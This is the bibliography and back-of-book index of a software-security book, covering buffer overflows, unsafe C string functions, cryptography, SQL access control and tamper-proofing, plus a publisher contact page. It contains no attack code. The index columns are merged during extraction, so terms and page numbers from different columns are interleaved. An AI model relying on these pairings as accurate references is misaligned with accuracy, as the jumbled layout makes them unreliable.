Vulnerability: A Case Study Analysis. IEEE Computer, 33 (10), 2000.
[Atluri, 2000] Atluri, Vijay, Pierangela Samarati, eds. Security of Data and
Transaction Processing. Kluwer Academic Publications, 2000.
[Balfanz, 2000] Balfanz, Dirk, and Drew Dean. A security infrastructure for
distributed Java applications. In Proceedings of IEEE Symposium on
Security and Privacy. Oakland, CA, 2000.
[Baratloo, 2000] Baratloo, Arash, Timothy Tsai, and Navjot Singh.
Transparent run-time defense against stack smashing attacks. In
Proceedings of the USENIX Annual Technical Conference, San Diego,
CA, June 2000.
[Beizer, 1990] Beizer, Boris. Software Testing Techniques. 2nd ed. New
York: Van Nostrand Reinhold, 1990.
[Bellovin, 1996] Bellovin, Steven M. Problem areas for the IP security pro-
tocols. In Proceedings of the Sixth Usenix Unix Security Symposium.
San Jose, CA, July 1996.
[Bellovin, 1997] Bellovin, Steven M. Probable plaintext cryptanalysis of the
IP security protocols. In Proceedings of the Symposium on Network
and Distributed System Security. San Diego, CA, February 1997.
[Bellovin, 1998] Bellovin, Steven M. Cryptography and the Internet. In
Proceedings of CRYPTO ’98, Santa Barbara, CA, August 1998.
[Bhowmik, 1999] Bhowmik, Anasua, and William Pugh. A Secure
Implementation of Java Inner Classes. Programming language design
465
466 References
[Kim, 1993] Kim, Gene, and Eugene Spafford. The Design and Imple-
mentation of Tripwire: A File System Integrity Checker. Technical
report CSD-TR-93-071. West Lafayette, IN: Purdue University,
November 1993.
[Knudsen, 1998] Knudsen, Jonathan. Java Cryptography. O’Reilly and
Associates, May, 1998.
[Knuth, 1997] Knuth, Donald. The Art of Computer Programming vol. 2.
Seminumerical Algorithms. 3rd ed. Reading, MA: Addison-Wesley,
1997.
[Koenig, 1988] Koenig, Andrew. C Traps and Pitfalls. Reading, MA:
Addison-Wesley, October, 1988.
[Lake, 2000] Lake, David. Asleep at the wheel. The Industry Standard
December 4, 2000.
[Leveson, 1995] Leveson, Nancy G. Safeware: System Safety and Com-
puters. Reading, MA: Addison-Wesley, 1995.
[MacLennan, 1987] MacLennan, Bruce. Principles of Programming
Languages. Holt, Rinehart and Winston, 1987.
[McGraw, 1999a] McGraw, Gary, and Edward Felten. Securing Java:
Getting Down to Business with Mobile Code. New York: John Wiley
& Sons, 1999.
[McGraw, 1999b] McGraw, Gary. Software Assurance for Security. IEEE
Computer 32(4). April, 1999.
[McGraw, 2000] McGraw, Gary, and Greg Morrisett. Attacking Malicious
Code: A Report to the Infosec Research Council. IEEE Software,
17(5), 2000.
[Miller, 1990] Miller, Barton, Lars Fredriksen, and Bryan So. An Empirical
Study of the Reliability of Unix Utilities. Communications of the ACM,
33(12), 1990.
[Nielson, 1993] Nielson, Jakob. Usability Engineering. Cambridge, MA:
Academic Press, 1993.
[Norman, 1989] Norman, Donald A. The Design of Everyday Things.
New York: Doubleday, 1989.
[Orange, 1985] The Department of Defense Trusted Computer System
Evaluation Criteria. Washington, DC: US Department of Defense,
1985.
References 469
[Raymond, 2001] Raymond, Eric S. The Cathedral and the Bazaar: Musings
on Linux and Open Source by an Accidental Revolutionary. 2nd
Edition. O’Reilly and Associates, January, 2001.
[RFC 822] Standard for the Format of ARPA Internet Text Messages.
Request for Comments 822. August, 1982.
[Saltzer, 1975] Saltzer, J.H., and M.D. Schroeder. The protection of informa-
tion in computer systems. Proceedings of the IEEE, 9(63), 1975.
[Schneider, 1998] Schneider, Fred, ed. Trust in Cyberspace. Washington,
DC: National Academy Press. 1998.
[Schneier, 1996] Schneier, Bruce. Applied Cryptography. New York: John
Wiley & Sons, 1996.
[Schneier, 1998] Schneier, Bruce, and mudge. Cryptanalysis of Microsoft’s
Point-to-Point Tunneling Protocol (PPTP). In Proceedings of the 5th
ACM Conference on Communications and Computer Security. San
Francisco: ACM Press, 1998.
[Schneier, 2000] Schneier, Bruce. Secrets and Lies. New York: John Wiley &
Sons, 2000.
[Silberschatz, 1999] Silberschatz, Abraham, and Peter Baer Galvin. Operat-
ing System Concepts. 5th ed. New York: John Wiley & Sons, 1999.
[SQL92] ISO/IEC 9075:1992, “Information Technology—Database
Languages—SQL” American National Standards Institute. July 1992.
[Theriault, 1998] Theriault, Marlene L., and William Heney. Oracle
Security. Sebastopol, CA: O’Reilly and Associates, 1998.
[Thompson, 1984] Thompson, Ken. Reflections on trusting trust. Commu-
nications of the ACM, 27(8), 1984.
[Tung, 1999] Tung, Brian. Kerberos: A Network Authentication System.
Addison-Wesley, June, 1999.
[Viega, 2000] Viega, John, J.T. Bloch, Tadayoshi Kohno, and Gary
McGraw. ITS4: a static vulnerability scanner for C and C++ code. In
Proceedings of Annual Computer Security Applications Conference.
New Orleans, LA, December, 2000.
[Visa, 1997] Visa International. Integrated Circuit Card. Security Guidelines
Summary for: IC Chip Design, Operating System and Application
Design, Implementation Verification. Version 2, draft 1. November
1997.
470 References
[Voas, 1998] Voas, Jeff, and Gary McGraw. Software Fault Injection:
Innoculating Programs Against Errors. New York: John Wiley &
Sons, 1998.
[Wagner, 2000]Wagner, D., J. Foster, E. Brewer, and A. Aiken. A first step
towards automated detection of buffer over-run vulnerabilities. In
Proceedings of the Year 2000 Network and Distributed System
Security Symposium (NDSS). San Diego, CA, 2000.
[Winkler, 1997] Winkler, Ira. Corporate Espionage. Rocklin, CA: Prima
Publishing, 1997.
= Index
471
472 Index
Applet(s). See also Java implementation security Axis Powers, 71. See also
attacks, types of, 91 analysis and, 126–133 World War II
enforcing protection logs, 20
when running, 53 open-source software
untrusted, 52 and, 84–85 Backdoors, 105, 309–310
Application proxies, 428 reports, 125–126 Back Orifice 2000, 178
Applied Cryptography security scanners and, Bacon, Francis, 187
(Schneier), 256, 267, 132–133 base32 encoding, 402,
439 security engineers and, 408–409
Arbaugh, Bill, 16 38 base64 encoding, 226, 349,
argc() function, 167, 169 as a security goal, 19 387, 401
argv() function, 144, 169, tools, source-level, Base pointers, 163, 169,
312 128–130 172
Arrays, 318 using RATS for, 130–132 Battle plans, creating, 121
Art of Computer Authentication bcopy() function, 149, 153
Programming, The biometric, 64–66 Beizer, Boris, 15
(Knuth), 234 call-level, 57 Bellovin, Steven M., 1, 86,
ASCII (American Standard connect, 57 427
Code for Information CORBA and, 55 Berra, Yogi, 267
Interchange), 147, credit card, 97–98 Best-match policy, 189
171, 182–183, cryptographic, 66 Binaries, 192, 206
293–294, 302 DCOM and, 56–58 buffer overflow and, 140,
database security and, default, 57 178–179
388 defense in depth and, client-side security and,
digital signatures and, 66–67 401, 408, 425
464 design for security and, extracting secrets from,
text, encrypting, 388 37 109–110
ASF Software, 238, 241 failure modes and, 97–98 setting suid bits on, 140
“Asleep at the Wheel” host-based, 61–63 trust management and,
(Lake), 3–4 IP spoofing and, 62 307, 309
ATH variable, 320 levels, 56–58 bind() function, 333
ATMs (automatic teller packet integrity-level, 57 Biometric authentication,
machines), 66 packet-level, 57–58 64–66
Attackers, use of the term, packet privacy-level, 58 Birthday attacks, 461
25–27. See also password, 335–380 Bishop, Matt, 320
Malicious hackers proxy-level, 432 Bit(s), 295, 296–297
Attack trees, 120–125 remote execution and, Blaze, Matt, 253, 297, 462
Attributes, modifying, 414–415 Blowfish, 272, 274
190–193 security goals and, ciphers, 283
Audio players, 110 22–23, 440–441 client-side security and,
Auditing. See also Analysis; technologies, 61–67 408–409
Monitoring trust management and, using, in CBC mode, 282
architectural security 308 Blumb-Blumb-Shub PRNG,
analysis and, 117, of untrusted clients, 415 236–237, 241, 244
118–126 using physical tokens, Boneh, Dan, 269
attack trees and, 63–65 Boolean flags, 139
120–125 AutoDesk, 421 Bounds checking, 141, 148
basic description of, AVG() function, 392, 393, Brainstorming sessions, 125
19–20, 115–133 394 Brazil, 381
Index 473
getopt() function, 148, 153 GUIs (graphical user Herd, following the,
getopt_long() function, 153 interfaces), 55, 127, 111–112
getpass() function, 147, 240 Hiding secrets, difficulties
153 Gutmann, Peter, 225, 246, involved with,
getrlimit() function, 316 272, 400, 414 109–111
gets() function, 136, Hijacking attacks, 57, 63
141–142, 148, 152 basic description of, 26
getuid() function, 198 Hacker(s). See also passwords authentication
GIDs (group IDs), Malicious hackers and, 366
187–190, 196, 198 open-source software promoting privacy as a
input validation and, 333 and, 81–82 defense against, 107
race conditions and, 222, and the principle of full HMAC (Hash Message
224 disclosure, 7, 27, Authentication Code),
trust management and, 81–82 270, 273, 274, 277,
311, 317 use of the term, 3–5 278, 294–295. See also
Gilliam, Terry, 381 Hamlet, Dick, 15 Hashes; Hashing
Global Identifier, 21 Handsard (Disraeli), 397 algorithms
glob() function, 332 Hanssen, Richard P., Hollebeek, Tim, 71
GNU 110–111 hostname command, 412
debuggers, 179 Hardware HP/UX, 217
Mailman, 84–85 client-side security and, HTML (HyperText
GNU C compilers, 150 414 Markup Language),
Goals solutions for entropy 323, 328, 329
project, 25–27, 40–41 gathering, 242–245 HTTP (HyperText Transfer
security, 18–24, 40–41 Hash(es). See also Hashing Protocol), 293, 297,
Goldberg, Ian, 254 algorithms 324. See also HTTPS
Government(s). See also additional uses for, (Secure HTTP)
Legislation 295–297 daemon, 333
export laws, 271 basic description of, 441 firewalls and, 429, 431,
intelligence secrets, 21 cryptography libraries 435
security clearance and, 272, 276, 278 input validation and, 333
systems, 100–101 database security and, HTTPS (Secure HTTP),
tracking systems, which 387–391 429, 436. See also
degrade privacy, 20 functions, 256–258, HTTP (HyperText
U.S. Congress, 463 457–462 Transfer Protocol)
U.S. Department of passwords authentication
Commerce, 449 and, 336–337, 350,
U.S. Department of 367 IBM (International
Defense, 43–44 Hashing algorithms. See Business Machines),
U.S. Federal Bureau of also Hashes; specific 449
Investigation, 18, algorithms iD Software, 399
110 basic description of, IDEA (International Data
U.S. National Security 286–287, 457–462 Encryption
Agency, 43, 448, recommended types of, Algorithm), 272, 274,
449 461–462 284
U.S. Securities and Header files, 279–280 IEEE Computer (journal),
Exchange Heap(s) 16
Commission, 19 allocation, 154 IFS variable, 318–320
GRANT command, overflows, 139–140, IIOP (Internet Inter-Orb
383–385 150, 155–159 Protocol), 54–55, 59
482 Index
Key(s). See also Public key LD_PRELOAD environ- race conditions and, 227
cryptography ment variable, 318 random number
advertising related to, Least privilege, principle of, generation and,
112 92, 100–102 260–261
basic description of, Legislation, 20, 271 LISP, 50
66–67 Millennium Digital Locking files, 226–227
creating, 280 Commerce Act, Logical ANDs, 123
license, for CDs, 398, 463–464 Logical ORs, 123, 394
400–415 Software Piracy Act, 398 Login. See also Passwords
maintaining the secrecy Levy, Elias, 135 attempts, bad, 355
of, 109 LFSR (linear feedback shift counters, 355
master, 450 register), 256, 258 two-password, 356
one-time pads and, libcrypto.a, 279–280 Logs
301–305 Libraries, 128, 130, 141, buffer overflows and,
as physical tokens, 272–279 140
63–64 License(s) monitoring, 20
private, 415, 451 files, 410–411 start-up, 198–200
securing the weakest link information, hiding, 400 Love Bug virus, 1
and, 93–94 keys, for CDs, 398, ls command, 192
session, 450–451 400–415 lstat() function, 220
Keyboards, 247, 264 open-source, 79
Keywords, 212–213, 384 schemes, challenge-
kill() function, 206, 333 based, 413–315 MAC (message authentica-
KISS (Keep It Simple, site, 412–413 tion code), 62, 107,
Stupid!) principle, Life cycle(s) 293–294
104–107 auditing and, 115 basic description of,
Known ciphertext attacks, compression of, by 459–460
442–443 Internet time, 18–19 cryptography libraries
Known plaintext attacks, design for security and, and, 273, 276, 278
443 37 data integrity and, 270
Knudsen, Jonathan, 264 model for system input validation and, 324
Knuth, Donald, 234 vulnerabilities, 16 license files and, 411
Kocher, Paul, 443–444 risk management and, stream ciphers and, 446
Koenig, Andrew, 78 30–32, 33, 34–39 McHugh, John, 16
ksg() function, 391 security personnel and, Macintosh, 263
32, 33, 34–39 MacLennan, Bruce, 96
trust management and, Macros, 316
Lake, David, 3–4 308 Macrovision, 414
Lamps, 244 link() function, 222, 333 Mailing lists, 7–8
Languages. See Linus’ Law, 76 main() function, 151,
Programming Linux, 77, 109, 150, 172, 161–162, 163–164,
languages 182 174, 177
LAN Manager, 57, 58 access control and, 201, Malicious hackers. See also
LANs (local area 207 Hackers
networks), 27 applying cryptography black box testing and, 42
Lava Lite lamps, 244 and, 282, 293, 296 character sets and,
Lavarand, 244 heap overflows and, 324–325
LD_LIBRARY_PATH 155–159 goal of, 4
environment variable, passwords authentication open-source software
317 and, 343 and, 72–74, 82
484 Index
license files and, 411 OFB (output feedback) browsers and, fuzzy
mail passwords, 70–72, mode, 270, 283–284, boundaries between,
74 447 11–13
messages, secret, Office (Microsoft), 21, 317, process space protection
254–255 398, 400 and, 59–60
public key cryptography OMG (Object Oracle, 381, 382
and, 455–456 Management Group), Oracle Security (Theriault),
random number 54 381
generation and, 299 One-time pad, 268, Orange Book (Department
Network and Distributed 301–305 of Defense Trusted
Systems Security 2000 open() function, 220, Computer System
conference, 136 226–227, 327, 329, Evaluation Criteria),
Network cards, 62 328, 332, 333 43–44
Neumann, Peter, 8 OpenBSD, 85 ORB (object request
newline character, 142, 325 OpenPGP, 269 broker), 54–55
new operator, 154 Open-source software OR clause, 395
Newsgroups, 8–9, 18, 388 Osiris, 87
Nielson, Jakob, 106 advantages/disadvanta otp-common.c, 378–379
NIST (National Institute of ges of, 86–87 otp-common.h, 374–375
Standards and basic description of, otp-server.c, 376–377
Technology), 44, 260, 69–89 Outlook (Microsoft), 72
449–450 buffer overflows and, Over-the-shoulder attacks,
NNTP (Network News 87–88 324
Transfer Protocol), economic incentives for, Ownership, modifying,
297 76–77 194–195
Nondisclosure agreements, “many-eyeballs
431 phenomenon” and,
Nonrepudiation, of data, 76–82, 87 Packet(s)
441 OpenSSL, 267, 408–409 -filtering, 428–430, 434
Norman, Donald, 29 embedding, into your sniffing, 255
NSA (National Security application, 298 Pairgain Technologies, 23
Agency), 43, 448, 449 IVs and, 282 Palm Pilot, 60
NullPointerExceptions, 50 key length settings, 285 Parallel ports, 243
number_matches variable, library, 274–275 Pascal, 239
152 passwords authentication passwd file, 216–219
NVLAP (National and, 375 Password(s)
Voluntary Laboratory public key encryption advice for selecting,
Accreditation with, 287–292 356–365
Program), 44, 45 simple program using, authentication, 23,
280–286 335–380
threading and, 293 buffer overflows and,
Obfuscation, code, 74–75, tunneling mechanisms 155
399, 421–426 and, 299–300 character length of,
Object-oriented languages, use of, in this book, 358
52–53 279 collecting, with Trojan
Obscurity, security by, 45, Operating systems. See also horses, 9
69–75, 268, 336 specific operating databases and, 339–350,
ODBC (Open Database systems 382, 387
Connectivity), 326 compartmentalization design for security and,
O_EXCEL flag, 226, 227 and, 104 37
486 Index
Raymond, Eric, 76, 85 getting people to think RSA algorithm, 93, 236,
RBG 1210 (Tundra), 244 about security and, 40 269. See also RSA
rbind() function, 434 ranking, in order of Security
RC2 algorithm, 113, 284 severity, 121, 126 basic description of,
RC4 algorithm, 93, 113, technical trends and, 452–454
272, 274, 277, 284 9–13 client-side security and,
RC5 algorithm, 272, 274, two main types of, 24 410
277 Risk management. See also cryptography libraries
rc5_32_12_16_ofb() Risks and, 273, 276
function, 284 auditing and, 116 digital signatures and,
rconnect() function, 434 basic description of, 3, 464
read() function, 148, 153 29–48 factorization and,
realpath() function, 148, Common Criteria and, 301–302
152 35, 43–46 keys, using hashes to
Red Hat Linux, 84, 87, deriving requirements protect, 295
296. See also Linux and, 34–35 untrusted clients and,
Red Hat Package Manager, design for security and, 415
87 37–38 RSA Security, 82, 113. See
Red Hat Secure Web Server, Internet time and, 19 also RSA algorithm
84 open-source software BSAFE library, 277–278
Red teaming, 42–43, 119 and, 79 SecurID, 366
Redundancy, 92, 105 practice of, 40–43 rsend() function, 434
Related-key attacks, 443 security personnel and, rsendmsg() function, 434
Reliability, 13–15, 50 32–33 rsendto() function, 434
Remote execution, security pitfalls and, rwrite() function, 434
414–415 24–26
Requirements selecting technologies
auditing and, 120 and, 50 safe_dir, 223
deriving, 34–35 RISKS Digest forum, SafeDisk, 414
documents, 31 8–9 SafeWord, 366
risk management and, rmdir() function, 222, Samba, 87
30–32 333 Sandboxing, 52, 102,
Reuse, of code, RMI (Java Remote Method 206–207, 228
disadvantages of, 14 Invocation), 54, 99 scanf() function, 137, 142,
REVOKE command, 385 Robustness, 15, 30, 209, 146, 152
rgetpeername() function, 273 Scanners, security, 132–133
434 Root Schneider, Fred, 69
rgetsockname() function, permissions, 103, Schneier, Bruce, 7–8, 13,
434 110–111, 140–141, 40, 256, 267, 439,
Rijndael algorithm, 449 189–190, 200–201 442, 448
RIPEMD-160, 272, 273, shells, 139 sci.crypt newsgroup, 388
274, 278 Rosencrantz and Scripting, cross-site, 325
appropriate uses for, Guildenstern Are Script kiddies, 5
462 Dead (Stoppard), <script> tag, 324
EVP interface and, 307 Secrets and Lies (Schneier),
286–287 RPM (Red Hat Package 13, 40, 439
Risk(s). See also Risk Manager), 87 Secure Computing, 366
management rread() function, 434 SecurID, 366
assessment/identification rrecvfrom() function, 434 Securing Java (McGraw),
of, 35–37 rrecv () function, 434 52
Index 489
Securities and Exchange setgid, 188, 197, 314 Smart cards, 21, 43–46,
Commission (SEC), 19 setpriority() function, 206, 443
Security 333 Common Criteria and,
goals, 18–24 setrlimit() function, 316 44, 45–46
notices, 88–89 setuid, 163, 188, 197–202, as physical tokens,
pitfalls, 24–26 314, 319 63–64
relative character of, 18 SHA algorithms, 237, 260, Smart Card Security User’s
reliability and, 263, 264, 273 Group, 43, 45–46
comparison of, 15 appropriate uses for, 462 Smashing stacks, 135, 139,
reviews, 41–42, 85, 117 basic description of, 458 150–155, 182. See also
technical trends cryptography libraries Stacks
affecting, 9–13 and, 272, 274, 276, Smashing the Stack for Fun
use of the term, 14 278 and Profit (Levy and
securityfocus.com, 7 EVP interface and, One), 135, 182
Security of Data and 286–287 Smith, David L., 21
Transaction Processing finding a collision using, SMTP (Simple Mail
(Atluri), 381 296–297 Transport Protocol),
Security personnel passwords authentication 101, 200, 432
qualifications of, 32–33 and, 337, 349, 350 Snake Oil FAQ, 112
risk management and, trust management and, Sniffing-based attacks,
32–39 326–327 324
role of, 32–33 Shopping carts, 105 snprintf() function, 81,
Seed, use of the term, 232 SHOW TABLES command, 145, 149, 153
SELECT statement, 387 SOAP (Simple Object
383–386 Shrink-wrapped software, Access Protocol), 94
Sendmail, 101 75, 121, 125 Social engineering attacks,
Server(s). See also Side-channel attacks, 22–23, 94, 111, 355
Client/server models 443–444 socket() function, 333
auditing and, 119, 125 SIDs (security IDs), 202 socketpair() function, 333
buffer overflows and, Signal-to-noise ratios, 7 SOCKS, 433–435
141 Signatures, digital, 410, Software
callbacks to, 412 413, 459. See also key role of, 2–3
client-side security and, Signatures, project goals, 26–27,
325–327 handwritten 40–41
defense in depth and, 97 basic description of, security pitfalls, 24–26
disabling encryption and, 462–464 security, technical trends
106 DSA (Digital Signature affecting, 9–13
firewalls and, 428 Algorithm) for, 269, Software Engineering
open-source software 273, 274, 276, 410, Institute, 8
and, 74, 86 454 Software Security Group,
passwords and, 74, 374, PKI and, 463 238
375–376 Signatures, handwritten, Software Testing
promoting privacy and, 64–66. See also Techniques (Beizer), 15
107 Signatures, digital Solaris, 109, 293
proxies, 432–433 Simplicity, as a key goal, access control and, 193,
SSL-enable IMAP, 300 27, 29, 92, 104–107 207
trust management and, Skepticism, advantages of, buffer overflow and, 150,
309, 325–327 112 182
Session keys, 450–451. See S/Key, 366–369 South Park: Bigger, Longer,
also Keys smap, 432 and Uncut, 335
490 Index
SPA (Software Piracy Act), problems with, 456 strtrns() function, 143, 147,
398 session keys, 254–255 152
Spafford, Gene, 2 TLS and, 297–301 str variable, 156–157, 158
SPARC Solaris, 182 tunneling, 298, 299–300 Stunnel, 299–300
SPARC SunOS, 182–183 use of hybrid suid root programs, 140
Specification(s) cryptography by, 452 SUM() function, 392
formality of, 35 version 2, flaws in, 269, SunOS, 182–184, 216
risk assessment and, 36 298 super_user variable,
vague, problems caused Stack(s) 156–157, 158
by, 17–18 allocation, 131, 154–185 symlink() function, 222,
Spiral model, of decoding, 160–165 333
development, 30–32 inspection, 56 Symmetric algorithms
Spoofing attacks, 22, 23, nonexecutable, 150 basic description of,
62–63, 295 overflows, 159–177 444–451
spool directory, 203 smashing, 135, 139, 150, cryptography libraries
sprintf() function, 81, 129, 151–155 and, 272, 274, 276,
137,142,144–145, 152 Stackguard tool, 150–151 277, 278
SQL (Structured Query stat() function, 220 security of, 447–451
Language), 325–327, Statistical attacks, 391–395 types of, 445–447
392 stderr function, 315 Symptoms of problems
92 standard, 383, 386 stdin function, 315 fixing, without
INSERT statement, 383 stdio function, 132 addressing underlying
SELECT statement, stdout function, 315 causes, 16
383–386 Sticky bits, 190 searching for, 127–128
UPDATE statement, Stock(s) syscall() function, 333
383 price manipulation, 23 syslog() function, 148,
SQL Server (Microsoft), quotes, Web portals 152
382 which provide, 107 sysopen() function, 334
src parameter, 143 transactions, capture of, system() function, 206,
sscanf() function, 142, 146, 26 319–321, 332
152 Stoppard, Tom, 307
SSH (Secure Shell strcadd() function, 149,
Protocol), 122–124, 153 Tables. See also Databases
269, 366 strcat() function, 132, 137, filtering, 385–387
SSL (Secure Socket Layer), 142, 144, 152 virtual, 385–387
21–22, 93, 382 strccpy() function, 149, Taint mode (Perl), 52,
applying cryptography 153 331–334
and, 270, 297–301 strcpy() function, 77, 80, Tampering. See also
data integrity and, 270 128, 137, 141, 142, Tamperproofing
failure modes and, 149, 152, 160, basic description of, 25
99–100 168–169 key secrecy and, 109
firewalls and, 430 streadd() function, 143, Tamper-proofing. See also
functionality provided 146–147 Tampering
by, 267 strecpy() function, anti-debugger measures
implementations, in 143–145, 146, 152 and, 416–418
cryptography libraries, strlen() function, 143, basic description of,
277 285 416–421
Netscape’s early strncat() function, 144 checksums and, 418–420
implementations of, strncpy() function, 81, 143, responding to misuse
254–255 149, 153, 184 and, 419–420
Index 491
Contact us
If you are interested in writing a book or reviewing
manuscripts prior to publication, please write to us at
Editorial Department
Add is on-Wesley Professional
75 Arlington Street, Suite 300
Boston, MA 02116 USA
Email: [email protected]